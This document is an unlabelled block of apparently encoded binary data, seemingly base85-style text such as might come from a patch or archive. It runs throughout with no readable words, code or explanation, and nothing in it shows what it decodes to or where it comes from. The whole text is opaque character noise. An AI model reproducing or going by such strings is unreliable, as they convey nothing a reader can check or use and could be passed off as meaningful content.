z{ycySf@s-3W{FU{qkW9FFJ2LdBUlK7GDTQrnd9-15)um3_ckA%m|K-? zU$O7+EU~wbliL$BrTm4wMTZU;!c=VM5yL%1R5Iu?;&ZApZ~H`FHPutrJQf8Rr!XaY z;<}SFHcmULxq=8a)y(1X$Tw^`cVv!^Y>G|VIw=*||E?(Po{{=x+431PUh)m?BB-); zXLmp2@%Z+(dAKiV(P9MRbz%-61AztgS%Ji?Y8jj{AgSj}R=3gAYfiqFMfxdRp^R9G z$mF_1(!+Ew%ae+vK6Or+5yb=y@4;7Aj)Bu-y28@34v8vo_dU_R%ZzWh_!{NvpjO49n1pw;g1$fjI*W87Erk*OQe~0Sed}<;Q5;Cb2^#LXi2* zYjPl7B_L@K+wLw)&*3%NH^XQhrCOb7w2F&cw9jwE?xk}O27X57HXyLNIF171PHj6ZvZYMF?H$QY< zwC{4GRUNz(;Cz8p;+9HMU(R*teyJyib4U7X@~$}@v%s^q*?gT)4Uy^2uy5tU-4;wn zs~kmve;Y+?zeiF#ec8(}wWhehVQYE_d5}tv6flp%<_Q#}AJSMcFFhvTL7|7wDW*F( zJ`dZ+;6w`7fHVt#yGV+B8VpS?#7?^uCXd5>?`n-d5mqUQ#$*oXQ-aZ-kWyIYo4E#` zu*$Sbndo^AqxBA+vU94^OC+TT7ccHpxG-W>^evAMG1qaGQzJduQwsuK_i=+o0e;Lm zG-7o@89!MhbY)puIfH6C`5_Fz%CwjIH8B6qlbnXD^KUgEvjM^rIgdfV6V|75{Rg?Q zed4$fhW4@fU9$L9UoMu4+B4P2Xua5Mp%CM$^$Fgt6&UEt24S^)m(9U&Z#UOtK&iPg z{z$R8^0{&K=G zs6=8kS~rkb0Fl zSJ{lp+EOsjUm*ZXGMJGLP=s0429psHl0KcDq9m6eli=!G^j%WY!0g)zN=e40AH zeib%GotZDKT-cY+lGVBZqQ?R@8x@5ho)=0pbn zNX>VVamw$L`wHh&Q6PGhcQwj@hgcriPjn>y8QK|{p zT`m{ zPs_;KOU zuE10J{3@HiYhj+FRFUU%?7B63y_zqIZo}mTtW}L{evu|P z556|Ds?JqQ`b4{JscEy+q!z~`b2V+w*W}FnMwY(R#%SLW#(k$KhFw0CokY${%dSi~ z>$OrD6V_pFLnUKPr=>Dla8_}9w34nODe|c&JjE_7E7M(4Sdny+!ZM0=WTOOyF&&)* zB}wA(BwEF=!_WYIaEjgTMHEe+OsZY8fOS+3tTXdqy$(2$Pn(R`i?o@m@IA$b%hOV! zNIU6{{MQgNborKCQ}2B#*TrurnmJEd72PE@h*{~>SqKt0^A?#lBw)m@k#v#n`IO`H z=6608CJ&dAO=~|UUqe&0Si#T1O#X&^>lM;^p2^Gce_`)W$U%HozRVl&6B(3?^jgWP z9@{2KnB9a=%wgkwVZO=ocTTp^`^go05Wb&hN0w4QS-vrs>ks5guaUB}u#+id4g2-^ zQUuRQmamc$YAyY)RqredtX@Tx`>Lb*7nQX zl@)zlF6li;0RK{j6gpeN_qg95xV8KNo zX_=sgYB4{SK=LIS1$FnZNCuPtfw7>-BRSO0Rh*@KG9~mxe&ljGc9sGVohItnvjq5R zrl!@Ollf+kt6*=s6a^6ub0I}#YLt;9^65pP6YOk4{G%nCLh{*Uv+8>DQ;nN*__dOr zmn5}{ZsbWslBXm^)>r)Z{%Th#Ex%SnmCP}R`SyI>^8J!k8O@ouRKe?iS!9uh1v{B@ zI?nj>VwWh3>jP@8T#T}RrrXCx?=Xg9UYMY+Op}>zq9SAliNgqACh_Hh@G0DTfW~5>sAtS8PZbzh7P&}_UGN_4A>*iEdd;h-T{z+aAZtS8WA`9hufLR`V_NU!2u^%AFf21i;~D~)ue znqp`*%4jeBje^Q$aXd*fDnj2s&w?m?i)^2dW@|$Mf_7YG10w>{vjPmm!1_miq%sc| zybHI%{S^wIIfr+sX$HExT+v@ggP*j=~HxICXQ3s zclS$9e|0b9nk=73E#{hM3-tg^qW)<@3BXN;_Ut=~hM3mOzFF=-eaeWgg0kW-H?EwF z%D0JS_fmHw`)W_Ny^)l*4@W5-_5-)@StFTFX%=M-|(>$qRpl zDQ3;G+u)eTB8|&TXFTU$`u^`OL_)id({`>FEqa1-r@bOEU_uOY_Y<5BLzA zY@l8%js1XM^rRl6_2&#FPcw|z&(vH26%g!6fR|}!O*T307QX*j zMkc*PoHbgHm+Hj(8#hh*!Am%w^>?VzL9W05@9YIEm5t@OW!X z(=X)Z5~KAp{q;!>IMctB51`;^P;i~tX$wbVc>=n>)3tOpdAY~5h_8QFs#Q3-^5R_Y zpUStO7RIA;ndUm+`q1rQ{#U$Ho+-xgMx$5qSU^0?Y7 zpZeh{V)7mLBi!RL5KVciQ}HclNrViL{!#W^N7+Z&XVm6!Cc#iJS*?`lD;!&tOWy|{ zPT$A(6K6^UPNi8`d{M6762K)dv^vti;JrV>Zj^!wVW;H_ew~bkl-75wovAFJ>1wGR zc+Ny31REkO&5@*HVd)P-4$1PTay4{Zs2MZ2729nXtv}Vd9wb*f$#Z`wpUV}$kKz_l z_mD9+3?_E(!g!yTnsk89i*3zS^NED|v2|9_zKf04&&d_-y98f#^)Sz9g*oKG=>)p~ z{R>n&8mSeuntm*gbEEZYX(w6!gk<57Zrib>)9*AL+<`&44s`I<>cF^sn~E;m?8?j^ z3E1&66tLndMdX^FVw}NuQyC2Jy z8%a5M_buFF7JD4QCO4t~Q=}ZYd@koZb3s;=)RhZ+Z5UwVu3N}K#>@CQSaSarg%ny4 zbaGO=wP9OSej(YI5G*l9f5gv4w5UV6quh8GIh{NQPZ_CUo&e8^ItFd z`RXuF*7;XT{$8CwCK{ex!&yxj^-==*b)^4Fg5_s&eeQTpqP8y(k7TZ{R?fU1n=9as zzUWj(XfbBS)kx1jq_p84Y`D>)PLP|ey(!c&+;ko6Lvt+Wb}Ns7VDDZj^wJ?3{oc!3IzEVV=%1`izBk!O2X-y$mY~!>dCs#}+f1I0? zTepU>@U~%42Zsn{R;_ZRRCER@oxBX5*JG^@j|xwd!^mr_9tw3G+`}Gv$nm7=p`dyD zM+f&0gB`6exeAys1ZI1N$-!kh7A)$XN%uzS?tMOHpzh5he?j*w0P@|lPD51~hc6t% z4e$LA$1nhDzHkh025`HNdJIDj*rFA*m3z3FU$nUY{9-OgVC+Flq~+ z3*3`fg8PtcieTbk#gj9RvZ%p2Pew%s?Xv}ShH_fga@j+Gre~69{L_D7&)Q9BAE%qyN=6%q(R%!n<+lU2S!V(AQ`Nl4 zGrQ2m323rA$c(p39qrj5$kRm1*gLFpNhzn6TLR9&3o~C^xiD=PS_so$K3Y-jm-#t} z>1R$USRptXEj-Nd=yE4ZIdzy}CjHWxP??4#b3}fbz`Q}9M-kC15H~HBl@H8UwC#?* zUp%a04Wx$kTqkV>5aI&K>loJ4=BwAU{>nkaq}Owzgf+My3NfGo$e$vq6@>ZuGWpH7 zd>Zkq70v86M-F#5xY4xr0eMdxq2%K~D%5G3F`^y3VMDM)-)U;~hp-ig+sLf3=G{K= z^3m+EQVoX;^lesq926*O(d&!YnE-k;O3( zPn*N6W`v%Ec~>CkYOZ6%o+M3)hMhe;WfLCE8o zW666#`0!j_QMb8vgCbNbyUoj4kih2!_RPH;87I?Z_Yf@Zvj;lKK<0E@~^QpNNbnB!k+bNqX${~(S(^AH?AqM8klm31h=x=e2h`292g9e%GJZhf)} zH3%aR!RCti%ZN6t4r&7Z^3NgyP7!qwqE`#6aL^3IC!v@sGoO4-Z+jn9Qvw}j;`VA4 zVS(M8WRw-g+yv`FxJ`>lWMS55eM)60zm0=yJt-_3TESI%b)zU(?aUz&pHC;FtpEHR zJPb?7uf^x<3i#q>7Brzb6ii4%BD9J#Q$sHQS?~|SD@fugB!bA}_slvh5wE>!Tx;oN^#*6W_S4uA|MIa$YARrnwWm`bfCZ zh-}5mWO^y7oR_DU36Nx&-2X<3!#D@;+C!5>^;B#8vAl^cXN2K)cByQ~*Rjds+cnGp zSbWpHlCI)S5A!SgQH;oKRT+VUlx`GD(N>v)`I%@|F?ke&vt4VVD1wVkLzP$P9g>+S zO9k?2$Fs@0snR)%JQD`pr-R8^B-Px?8`Y}NOm9nnQXI`Q@*JjX)%@1<2QsyG@B!bw z$mR1>tE8t4aHJ|@ zLEGV4gORzmCg7-15v*kS1`Ky}p+qY*VAmaU>wB^94KL}3q4MlYg*j%-e#EM9A6t+w z^-7@f)7qVam&R>JOF(b2hxtR^CX4wI?BQm5zCDz^cnwk5bq{k&l!HB8t2~F@tCk)4 zTmvR{X)8n?Z2peXx`O4AUMgOe4NFCk2usCScQJi1-usHRd6fqU z+{oK}tsz1mxf>9=QO%V5l3@~h*6S@4>Vgg*ESuo!rt9ZKcb52HCfEQNojgW_)FUh?3rzxs8XQh+cyBntF!`TUXoNmY0-mll{WLbUf`T%^or zK2L|HiI)uN;#xh!cyb36BHCjQ_9E*9>A%aKNad|uK9BUvsNBK^SM;JMG88KxuI0lt z;gVV1A6;W>(DYjJJ?b;}vjvNk&h|1AE4*7knZuwNf95-@!VN+*$Ih*z_&{ZM@CFgG zapt#8@BjCV2%3UkK^j`$BpG2wxx_>;-8dphKJtsO@$xpNI5wSKA%e z8b6ka+{64d`#}3zKK?wkAK>HhspPYKnC{o29vD9+#l;HyNhcMIugg?b&pQjw11VVG z?D+yX59K4^d{b{YKPAd-7M#ti1zi6w5@9IAOVh28b@F{_vV!imN>zre3*&w(s{pq; z{E<@;l0DO>uj0BQ9xZKFwZ@}1gXPXX?ELGs27}&2x^A#ey^*e2tYftT&%y(%npB!{ zO_gq(4E@o38Ydf=aiwaU<$%Qc>}^;q$-nR}{efrim1xr1G`j3^;;t*y1;60 zNPmRcP~nf{BX$+=lcnsQY?+8!ZXd;?dFc;?bh}nQ7$(j71sSacG0vV7O6PcV@7z~O zCvqkCqMqDo;(Uzog2BOujHe+wtdc$yCLiC}+8z_rm{vG_PEY2jKGw$@ZicQ3Psm740Adfg4Tk5I; zl?UN<_*871f^j}wV%OANeQj*SP;cdSEu!T^zQk^GPFqzqblTNbgMIq0;6MEp2fWUA zOacisv#RVmYoAG0N~IK5`MMUlntO>4Qkl>q2lJ$p#YEa6CdYOjJgW)@%^(^_aECWL zG?A`Vo6pnzr(tfu?2rSRQ8r3?5GRwluf8ExK2ZUHj1yHblB@8=5}i}+(+~M#RRkevsk`VpbwflSv2=8; zy4n}JRbr69Gyn<(7{~^9n3L$gd1WA0fHRGxa+u}yRlcG{99DM+sqVhtU%Fd7$a8fu z&MkeZ;G1-rgW?guc8(XNed7!Q=Ty+(O8pD8!Pyf_B+okwX za5CY3`)Nw{d;$hOEe;>ud58!Ryp#!8_FYmLjzVbfz8kQ|`D!N<$VbrJ*pDvaAZplB=zF zo5I4&bJj1v7C=9i3!vlDqLyYvX=D^EDrJR6yIz!g^ZfAgEV>jXlhqu%h30_p@@!r_ z#EXFQ0OQ0A9EUkdWpl8|g~bgxq1yRCXHt%CicE-d<64EC!6rtpUm&*BY1SxXK^ZV? z%l1x@;Ttal#qgzvNDRxqOy(TYXWEv6Se21Ge^Y)F!*m`mEd#+e^h}FgFUt0qyo=uO zLaYVz6OrSv@I^D+8f~p{0QUm^#l?PoA7H#=R`BZZlv$xiP#ZD}L+4xImz2^~Gn`d) zQ#3yOu_aDl%gdCUGRv)@O^Q0isu@|5rP|7pMHU%Cipp7U<*FK{J$extahitxioob) zPRUsO*f5gW!ST&u`{G8Vldy9x{;(67DVK?DN%o@81 z!AfutNXicOH36UpK$zbt=SDQ!)@$Dz#VzyjKeE`zlv7oGlW`-A86YB%!oF!EXmX5d zLp5z!geKVnI=-~buirVwuP+5Tc_*SMB%4rgKFS8QVD3mSm{}|si(^m8GRVIYS7sH* zlg|KVZe8mJP(aMp7U{~@9^J!Q7$0}XZp8}m+e-mX2~mUHRMH1XUU;uIE@43N_*UtVK{$8h>dGW2rZJEz^#@L~8(o zfSTr(1Yq zt`h_Y-xKsAjW$Qx&2#7PvrwmMpVfA9dQ&*HxLa05>SbAtjo)X9Bp>2u)r@ReJfdyF z`pRbU(BxF|B?`vL8uxx@B2bY~hHkHmXfRHXruurd!_?-Ydq)`{+uo71!z{F?e{IC1I@uiyT()pTsw}5!31e>{dS*qQdhC z^tS^Fmu=k9@CTU&ktWsICJR{kpL%rD97HOntRG;QypIq@KK-9mT)+3-)F?-!X?^6x zaJCIstga2t115dky^GN`2ASf7usZL}&@fl*CU%!EEjicw(sC++2j%c;zj?E+5OO6r z*0XAOax_4}0KT3Hd8&4h`O)(L!IAtYP*RJ;#zt*CTW|I1kQI{5~~qbPpGN`8Hk8L2G#lb;|RIKvV1 zP2p=}5F#${22bHTD26c*@GsJKF-P+02O)zYDG4uUaq!y>9dG{lRwK>xj z?!Z*Pm7H5$iDWte*V#nw>Ts_NoFeyUD?Qy7d0?LBvV(dh_6-Sd>ZCgId`6z`l^&bc zz)v8e5uD|YAR>!gVtCd(xq#0sT zdfQwDDm)(`5ZGnBgXSDt17Vor!H=P$aZH*Ew10}?H(FPSnO1Vd1D^Jc5tfImb+E-+r-j3mb;#13btMC(;aHaeR?%P=Bmr22=hj7bZ!}f9Om31 zV?Sub62=FYCL>aVDyuP5R^1uOVu{^DvQM8`M$uz@crV}zE288x!I6SS{&qRs74h~v zjMIN5Z@$F`uC*|Usp60kqF!EzgI?Ca+;OyLqNL9!T>>%*P!ua7mb-!v)4R#lsxgH# zz=P7ibytzisE~=%XT{Zje5a!KdVuQFx6rDmTx%VqLquM(nAS6LPI)^`4Z;6 zf(`L#p*{C)Aqc{_vk?CzzCK|tIdoiw&k_iNj3Wz(1$X`?cYc$tzGEgJT>Zm^5;`^w~W$eU*+Z{2Z%FaMJpvFHRZZ>f9xrM!Jhq;)^LTYHZG0& zyFlKjt9u$KE*Tg%U;PPbW^IM{C2ikRgXDhz;yw1E@@Hb?`XU?3$upO|J)k!&c~9K@ zwlPWFtFDFgVK}RVzhY2#BX6{I)&K*G3&Vcs+p<27DqVkO+JZ z8Mj$4hFf{nJhWz|QLWwt&vv7(_4zrBK0(Pn41-lt@+?StZ|ueQDK_1%=#w&qUD1Ae zqe`|EHCCNZn*IuH`5jXvhme$~f=`+fHucWKD6fTSmaz$*!WN-}s%?!As0`FL^Z`(~ zm(zbMQVOocEOw+?FtL(}ykV1?tN>J~x|isoud4B;LxD4;z?n*aMD`9s#ZM)pRwQ^_ zly}A7PZ24YI;oTRjdBu49`#7oZR_uy7a?le&R#;V@EvtF8ua@R!Ppqn{;b`Pn&S=a^peU*oU57FJK36U0@TY-tDkR2sLb+`w+ zxb)Aewa1}%Ug1EtI;*;YBj!l5pj_IpEf`M@;hvfT#I=od53YM=e4J7#usEB}MFh1S zfU}2Ntv|}h`<(}H#uK}w7WO#jv=Cu}7#003f5pK-&?V$LKb#K}b^|d8gLc#vR3L z4K3Wj!*T`-aLh6R)cRegDkx`yu{=jsHJ+VXu~X8t?}!^G zu^$_09YtUrL8z2e!1FSUYC%O><5kon8a~3Ys~uV6f?ro28k+8P1w*3VrdoWdSN#>o zBy#w_4;SBz{Hb{zo5W!CKn{sZ7>=91GjTR?UoMc%}&tPN<;jj(k zpU&C|WEY=jLRsvA)v(86H4qy(e;ZD++&T_p$imXxgOjYS0M8uAGX%vRmK)50i=X;%7!c|4(nDzBJw+#MExg1->9;@frqBYclSc!>#QK0g; z@?@j|?zgGfI?f=2sr$L|?V<+PiaJriAy~%tyL`&g>o?@4BRnV#uUq9thQ-SKF8iZo z7I!i9ukL>O#(X~^x%4jcE~{6A=+&y5oZ53ukd2p{D#zdRr2U3`QJ>|I$*QoGdpaL!_009<`Na7y?hK)nEbh_qtRT9FaIq#c!>U4B_!HUDCt7c(Ium zS|gNvni61Cj2qxgBirfU85faB2JIR0G5NA+NFRUea6+JT!S6ScH@*M-q7kA4SIB!aEfFrKOr^%6=+@!51WNe(T`(iFmSe{OQ zY#P1@J?(CN;i>W4eBjcCKS{$^iCe}t@oJ}JMoT?J8IQatQlkYdR-$mr89;b~f&|lH zx2rm9g(oN|@I4mldqWgQRu(F*>~`7vA@f{Q>tO)2_!IcYy=^;+%H`%FA#~g0kl>u z0kIkpP`*$6b*Q&Hd!MPGM|1nJy;x^geJ37|6$A3P(Y}ny@;9f6tE$2(c41>iSX}*b zqCM$a$*z=pKZ)rh@6T9i5RpMHmZIL(WM<3vI^_P1EGEQ! z?lif%$a;Hlzuk|X*4cd1Hy>6FT$3)h*L&PTWBJZ|2A1Lq&XmRYvGslb^h-LZ97=bI z^>J=>I@#trivHuN)0+Ydcaw2F<@9A8q)BBY?^@%dvhJf($KYLXrt1apghR=PbHEb> z`$5ip+X94<`0CrpNlXrik(p%jMju3KUVBR*b`!+)9Hz=`@LL|t!(Cu$Kz}<>v4a?H z1_w7@cH9svhSNAlj%DJ5Cs1*Mr*`O!em?yaiFjn{!f_t~)@TcKbHO0L_M6Rh^O3Z7 z1}b+1^sNDH#ulIc8OP{U0QYB54gSh^>uw6fiYG!XT7FafvAIsysu7c2SC5$D*WW_- zAbU=`U!R3!>mbw)st-S=b4my{zsvkKg|ipU8Y5)}?(@>U z=vyeSO`OciQM*5gB-u^5lEeJK0)P0y;p`F(fWp0M7Ba%NE1WB*mNG=};ifVk*Upq< zreB1N9=1q4Ombi={0VC(?O{?z{gwx%R1|3Ssbi#1LHKJ^CrYQ33ug7kRg`>-gixHa zLPI2=QloG#nx_tTCUdACXGDVSH;WTq{VCpf^v#0o!COIxB>+MIcO@g{cl6@;h`8%M z^0*y6_+CgbMIyA~de((#d5$^~$zf-w>60Tq9!!`x0+zabdNpYMBROVy5ciLXkSRjm zCciel%^FQP*tv>aFVI4Vc?YZtvqSaYi{u6_hw>HdjkL1|#(|lXpsMi`LL6qu>3B~l#>!T|Hlvj@^z4rWsvFG_+?QJS z1o1H*VBwK6Ql)GaQtz9x6ulLjkV=oegIvfuMBiM}BlL%Qd*)#4P%j6(lM$on*rAuMS zIBG|TIXnUn1rJTO52s^21QX|xcR>wKUqvT^0Doo668v?!@@&b-IM>QzhuSQ$Q&H-~ zf-{XpON6m=SZI8FSY-0owh38p%Q`GhbXta@xx$;`9!m49^gEoUpMy4J#3tk?+g%AW zEk7xCg*SJ2R*oRoY=={_W|^a1VFZie&0$M;A}#W)oF{K*JF+ATdPf{#-~hxK!L)(p z>F}^(%y=_k%2%Z$pBcLwkQ{Jjhozb4tuU z7bv-ySg+g;AA#^Yic`b7V2F1bpHWC;SsW8Q5KJpj@ahs}XH-)8sGvHCiB@Qgwr0;U zr}1raYXi^V-`o;gDU;i~7ucJlatA)A-Prg0?i61$1A9j8^YM5x@ks7o5MFl7fhQfY z7Kjp}b(?A%_uf3KWaB54_;|14dMyvj=WYGRD`m>t@-xOD9Ty9Xo5v}G&^OU6x4tp5 z2cqzJPTf!lhw&+MiZ}9LDJ6#dN<-0=Y|%qAg>l49vEN=oQ~9T7U7t=-S}p#+ww)rfEf=yLx>o`pCa*liz#gO zSHmx+zv9>g+ju6Sv|Z~R-E|J;_&xD=-q|PM3SbpV{GI<))MN6w*z7-P4<0*d&s{1hFp+z+)O@W3Jd9s^Q9;L<1=CM*<8Dz#$-ze?fDyy zC}fN+4bRL7XN0?`-sP_a?F(~00WU!F9^2_3o$xxhrk%+;!rls;VsBkif(viaN`yQ) zw#z#joNa|H$i2B&4{BA@3$L?!kg|x^WuZRUSH)inKUm7K^&hI?*D^slw93&#c6HIo zhe8M_u+wm-HH68|8A=?AKkyExtd2U3Ip(X}NTzte*=lYf zaewF%P8n7rZ1YVj$0jQWZr(Qrf9I>*6#TU-T=~nzKQ{xyRaXUU2sk&Zyqm4O?c#&n zvaHFp#QZ5ye~}n@OJ!0FCg6r5l4w^L;oye!Oc_kXs=;=oDQgV+$gLtD-(sM;ke-I_@*-Zx&EOhGN=xc zvx9ldU_itWNy-}=aR*wbl-zeciLF}@vFWGgP%EBn<-71$CF!A>Bq~5l=>OV+9N!Ra@ zUti*b;fXy({`{nOt+bIW;wWC|i-b{RD;}6%dfdL76y|;15ckS^Pg$njN_eS_f)zt4 zqKlw!O6(hoOoe=Tb;H<2Q6CUR1f}q3-jc>2?5Av}KE2hKFh&rJ)|W_@g@&S{fIb46 z3v-k@f~BEYo>pG)CX(lcH+H7=73L^)1f>pG^EivV-Cxm#2J4cLlB1)bAR(mVx5B`2 zq9nY`0OrXj*u=P+h5UH+cgEq4X*e`}?`VAF!Rj8Wwfr zY0WuR`)91Y2d8Z--Bnqlq$LF>Emx`m2K$86>9}83k!UaT?tVG=E451yljJb=+$XP> z8Rk#HNbR`TU{CNMa!_-WC4Ebu)2xlJ&lC>^1(UmHf^^zta}lJ|VQ(x`{$B>^^jIGD zr2tNw|6ZB@)#)AP4D>GPzxk@YX^T6R49-?;zb0mvKURJR zj>BVf40BYk{lvZU60pumId&0uR%`e-vU+1TWNB;8W(Dl4-z!reI#8zl*Io6WSrh*; zDX?;n*3ife`Nq3qk2%WvOnMPavL15mS?{XCq3!duj^vrmo0Rz`{He+QYoO=5byKZCY38Qk1I9rq@kmXDGKEVxE?P)txRyvHGA` z#Z(&ELB%d;P+#R++M|zCXm!I;tuaTYhdsrhQCT}av2bJUoGWXm7zKxW@a?^adE00I zwbl>35m`SR-FvT}oV=B@^N9I*PhM71>HBi*+PnH4)i!4`ztIgLI=WD z7G5b)R-aArm%nDRunnJPYqp`+eE6dIUVWzWZlJvMCi_2`?`Ni~nDt`B0_Q-OjI7qx z2pijsZ8OwzT`eXz=VG(47Is;y5HO9qAE*@K1X^>KG4gIe*3viXoymz!d`vGc>ID_O zU(zL05>hxg+F01ool@tXo{gmLSJp=IyS^KV!A85ZJs(!PVqmc!Kyu6nV?)sjTGu?)R7!U1-;fMyl3P3Sh<9R$r%T0y&ctDBwIP-u-Z@-@ru03z*FBDQKB0E zI9T#~ri9VborTbPoRWko0UE+=1ZX#?GB}MO!5)`w%WDv^y*DL)d;VriQ#UjfXCmMx z)X+6pKi7N&u0B)N zJc}P@c4!aJX20MY=EBg|0~M!46cSS3cZ=3V_#X?hlUb2ydTkY z&U!!EBe>Ts9H#&c6b5jYXcYfrq2M9f9Lv>vvWV7q+@$HuRM z#MiP+Z)cevQXUji+if>rw?;+CA!kB{$yhx>O*PMFzWT0u8LJ`Ua#BB(&K@i?$6(lT z%2yF*q~QiP$y-Kvk*`nFBf?ii8F^AFmtKW+XMZ*F`O`l6m-&x9#!N(k1Dd~ zlwenQnR7?}lhsIZVreof2t;vq=O(lG^n*47IDE~_ey^* zc9(E*k86y|l6Toq$0&^LMwv+zq+!#xyu+e?UO1r)ILb#K4VF9npG01+7T!g#E@hOY z(0*6P4VT^;K0cuKazbReV>#jJqG*;d3S8fce?uBGCIQxl-%$8hsYF|opIE@%G22Hg&C7rgW%Uj(iP(%`z)Su+)QoeSG_ zLw&b^%dNk*WcB|PT)rB&fQ#uO;PRy5HQ0ui-zRfR%!yQZuAaFCq`qKoZ6DMZT&Kfl zrYzx^NN4@gVU`}WpE%vHO%R8mysKdJwe^gx!~4>8w|-~ho3Gq^g&(nIYz9~bmDLY% z{5$ZjCYeq8=86q>ZBUcRU@~>ulSvlORKOFjarI26Nzf)Oa6tq<%;zPm5wGMgzF2Qd z7#wNicg3wz27jyd8-&PQ13OG+(o{gRPi7LxEP%thTshbeMjxI9=$^$)a_5@NB&E$Q zlSoiTB=NDDMG9wF>khe(weHq{j%3}<{QL&dGk?+^uK=hy!dey$$)F~68z{|fwk|26z>{9nM&!dr@tWg}I{{3d#?ka+`; z0TY}7pP%fF&&|o{FDtAs6+zs?KmTvPSNlOEaq9Fv;aNB!)}Fw5ojqYYr-?I+ai9GF z9q?H04|YPp_tX!myD^^35gk&oy^uI(7;~sC2|YyZ%=^(*J#{P8Zp^jowsmSPRL=gR z>bv~^USA8M;Pn0{efk{zJp~tiW17DRVUdGc&gVMEc8kDdNynMC+gnbn zZfT~v-b%=Jg;N0rj7xjI+jW6UbNT?&+TS;x8J-`#*|&fFGZlWWfA2}-{%`$TdRlcq z$?pN@8TwaCh5yI?^*^n`3o{j3^5U`7kp#tjP8r1FN3Jb%I664PfSx#%dUW0suF ze9_tEU3Pf-FY_@N*gd(399Kp#Hk*mr$>dTgP||bpNwB71GFn=}3*qa9reeb~InRq+ zjC6lto_W>d>hmG#Y@wawHzGXgbzVm6%Pu1HqPZ9TAskS&CN*rx7xuTvDl!zeU59gg)4rDC0@Hl?cmD4%&^tY@B>AT;INgj9it3c?6OmApbjRYsrTwdl z8ho>-zf(d>RtTfP)1PVF;f>BH;>sbDH0ChHT|#l(c9I0&OHMH^H3-4}tDVWA6eCA; z;7f**Bios#s$Q}rCDf)(>f2cxWa53Ys`!MqVzn&m~rS ztQ~=&lX1&)gfMTM9DXF<5geh$Xd++*CenhhtAaVOI?Uos>U5RbpHzChk~kms!Kc}i zvSAA%_bBC1%4pw4`?1Wk7<@*>Wui2wY~5bY6zS;cf%*Fk_)b?w>zQ+~4y5J55$=_X z^O~pU!~gH36@6tiqWcxScM<+8k4_sB)}EW5AF73S$Gl>jMTFj&E%qv^btT{8qWp(# zmB1>|X?fO~d&+)NJXH%Xg}!U2(Y1+u)id;h50uXp#d;PlNOBz@VxeBn7yjsVGEejP zLd{b-qn$oaZSJ8U5Nn!d_noFhdQsCxpJsoo4Mf2x|Xm0;zLB z&y>{~_wq5*Rwk?(+3C!wUijcEZ9)-mu==9BHQM-q15$e$AN)efkkt)NVd;L4M@H+i z3|2WiU5YgI%%z0pWoCWcp7m`uMiKN8XM8#ss$H+Ep<>i{?2S>x=u@^o(2$^>lHZcC zX9!qanc1Dzwdn<;UgOaNo6v9&Lk8B*sPb%BTZ>gVDOMr9@snk3t9VFLW#|_5{?Mym zwQ@#Y^Nf4|CXStLgu?eX^~?yrh-tvQMB&1Py(q>tp`Rcl+{i)kp}dvMU(4a8_M>To zy?VQhIa^G+F*4r0@MWL&WXd{oLu{Dz%$G6? zo*gV}mlae=Lx0ce`*GN+otXWfj!1z5ZqPx2MgS&A@-|AQK{s)6>w6-5MnE+6mxChL z8Cl%4)@b*aoY%s+M*BunjkX|uSX&g|QDgnwe{QLIvwH(?H}Q5OZ#T+Y`Psc0$~;GF zkdQZ0Tn@!`$W1?P48GXQ7w_}M`|^eS?0%2beWdOub-$#_&u+6u+wn60UX2{j(;7qw zA*JM{iyQE-7gwM)h-Iu4SCB4l(7#?>k=D?`SW0n4>Eed`>%|po4d1tmD^3?T^j|No zG&o&aR+=tq`2VP=H)I&L$uJ<xg35-8NU!6Uh2vO_E_lGc=t!T6F{~EFPLO|kQAl_~dr_Pa7*>4hNL~!o-rWE)z&m^HR|!V zK8p3pX<%`l>=3a z#}H`*Ti9f`a_qOT!&C8*J9}Zfr{d$9myn}A?uzAHQ4{G(5hpiY2}YRl;74Y*Tko!M zS9W9Z+Jc$+={O+0U-Wezp2mN#30qC#z~g%AuDn2WA%r(1#*Sx^h6c}4h`ujrrYPNu z*ksnW0%*nFw!Wb8$oUU}hy}Y@MA&-sVRC*?Yt-3j zA(Ip}e>~R5_WgM-b&x{n zzd*GGC(k7h_0(d014!8KP<%KnXC$8D=2EiFQQ0iWNzuIcokg_tgT9Psh!zF7-bBj< zd}+aOPKP2It*KpOK`l+O9B!7*O8GV{B#bgD8BpHK?o^GvI0Lw*(=!i~!t6%hTx#C> zKWkZ(V*0d9=DpUq#Uf|ZExYCP%1~a0+)a;?OT7k}OT!tZ$9UU|xDt9q=DRgo6J@l< zDH;c%;`{}4@J>d9PU1syhMX5f)ncUweM0fr^e|hl6}mwD)1YoW{s^XE&k?))Ige9s zI=U@ylel=u$!j&Q5;So-;oSL38mPSq=bb9mZgDvdBQj3G)e1e0KC#*yKv_Wqp-=vV zo?`v~6c_X>7I8RQ>W#h_R;l?us}n4zbSJ#h3A|@^soft-qz)0u-bG+xuO8$LgBE>a zr7BE$<`IqW>v;RW=;eSj_VUQfy;e`Amp%S-GGlbc{zCV2vO*vJ7~|_G)f)U9w$y!5 z=zJ7#%IY3goS9!q$0H}9vgA&z&W|SF5~@a9^X;MVvx4`b`i8D6Oa#$`FGZiyADiXG zSA?$u!<<&Xz75uL@VWqwF)DWjXK<>_;xP2UE>tEuY73O&L;+vqm|OVG!lW!VE8C1K zZ8W8w)ZI@eF^;yHli#LZs$zq{7ey-uuXG|gPbD55zdJdLJH0*9A+*-n?7>Z3=L)UG z#(ICrbEuS`nb!J)dh^A!R#%4Bnk%%{UMW{-Ehwsgf!6BE&{}ha)>6d@t@SS!m!Y-h z3azDz6I$zEEG|Q9%@tZp6(_XTzgS#`)|xA{mMTtYt$(pNi`JSew3aGLXs!RgsQ;GM z@@bE}hA*w)5JhhF7jnzzd=qAynbg*}ig6rTcNv(p3;h63MW^1GCay|WzsBtRdd>=n zGmrvac04($4)~SWHHra@kIl*l&P%X7KyhhQlwPF1)E!8R zeUH1AixoXn1U6D-q&7fu7(&jx2RZW|#!{!Z%qC?N66xC$+MGcx>TV7msX7Hs#Qsno z<_e2@COTGLZ~Y0;8L1;wa^Mzp6Bk(iGQ^PVn`_bNaoF+)aksgAZ1`bkYW?z3F5T;w z59RXN`sF3aT2F=EWx;D85fg7G@oqT6N?tETdKOR^0ji2ZQE^*@sh;-e*&q%$jwlX@A2bYwH+b^4hl)|_ zaU!1ac>S@!%zzeX4Mg+l*He64H%d%cSQauq-SHBcWF z&E#{bXkkx9bG-DTon+~^R4VTbyE-$OmmOoq$+FpJ|xj%Mee_v!T8e&^<$$`u&P|;df zB2xJ(1o}C3lhjU{i~?cU>v^>wxb-+5#V}|I^&h`2Ia^kVuo)u%0jRKoA+3Tmm>T!U zC+zQ$j#D+-LAGPrUgth1+w1-3-l47sF}dm`uU%8%M8V*`JrE6kXO`S1zi8`}lW-5K 